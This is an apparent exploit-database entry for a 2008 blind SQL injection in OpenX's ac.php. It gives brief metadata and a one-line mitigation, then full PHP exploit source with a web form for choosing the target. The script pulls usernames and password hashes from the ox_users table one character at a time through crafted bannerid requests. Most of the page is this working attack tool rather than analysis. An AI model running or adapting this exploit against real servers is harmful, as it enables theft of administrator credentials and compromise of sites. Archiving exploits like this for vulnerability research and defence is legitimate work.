OpenX Remote Blind SQL Injection Exploit By d00m3r4ng

vendor:

OpenX

by:

d00m3r4ng

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: OpenX

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

OpenX Remote Blind SQL Injection Exploit By d00m3r4ng

This exploit allows an attacker to inject malicious SQL queries into the OpenX application. The vulnerability is due to the lack of input validation in the 'ac.php' script, which allows an attacker to inject arbitrary SQL queries into the application. This exploit was discovered and coded by d00m3r4ng.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

<html>
<head><title>OpenX Remote Blind SQL Injection Exploit By d00m3r4ng</title></head>
<body><center>
<?php
//discovered by d00m3r4ng
//exploit coded by d00m3r4ng
//contact: d00m3r4ng[at]gmail.com
set_time_limit(0);
function sockr($j, $exp, $asc){
extract ($_POST);
global $l;
if($socket = @fsockopen($host, 80,$e,$r,5)){
$inj="www/delivery/ac.php?bannerid=-1%20or%20ascii(substring((select%20$result%20from%20$table%20limit%20$l,1),$j,1))$exp"."$asc";
$req="GET /$path/$inj HTTP/1.1 \r\nHost: $host\r\nConnection: Close\r\n\r\n";
fwrite($socket, $req);
while (!feof($socket)) $res.=fgets($socket,512);
fclose($socket);}
if(strstr($res,"http://")) return true; else return false; }
function getLength(){
$i=1;
while(sockr($i,">",0)) $i++;
return $i;
}
function getValue($length){
for ($a=1;$a<$length;$a++){
$bl=45; $bh=123;
while(!sockr($a,"=",$b=intval(($bl+$bh)/2)))
if (sockr($a,">",$b)) $bl=$b;
else $bh=$b;
$v.=chr($b);}
return $v; }
$host="127.0.0.1";
$result="concat(username,0x3A,password)";
$table="ox_users";
if(isset($_POST['host'])){
extract($_POST);
$l=0;
while(sockr(1,">",0)) $l++;
$f=$l;
for ($l=0;$l<$f;$l++) 
if ($length=getLength())  echo "VALUE: ".getValue($length)."<br>"; }
?>
<b>OpenX Remote Blind SQL Injection Exploit By d00m3r4ng<br>
Vuln discovered and Exploit coded by d00m3r4ng<br>Contact: d00m3r4ng[at]gmail.com</b>
<br><br>
<form method="post">
Host: <input type="text" name="host" value="<?php echo $host ?>" size="70"><br>
OpenX Path: /<input type="text" name="path" size="100" value="<?php echo $path ?>"><br>
SELECT  <input type="text" name="result" size="50" value="<?php echo $result ?>">  FROM  <input type="text" name="table" value="<?php echo $table ?>"><br>
<input type="submit" value="Inject">
</form></center></body></html>

# milw0rm.com [2008-10-02]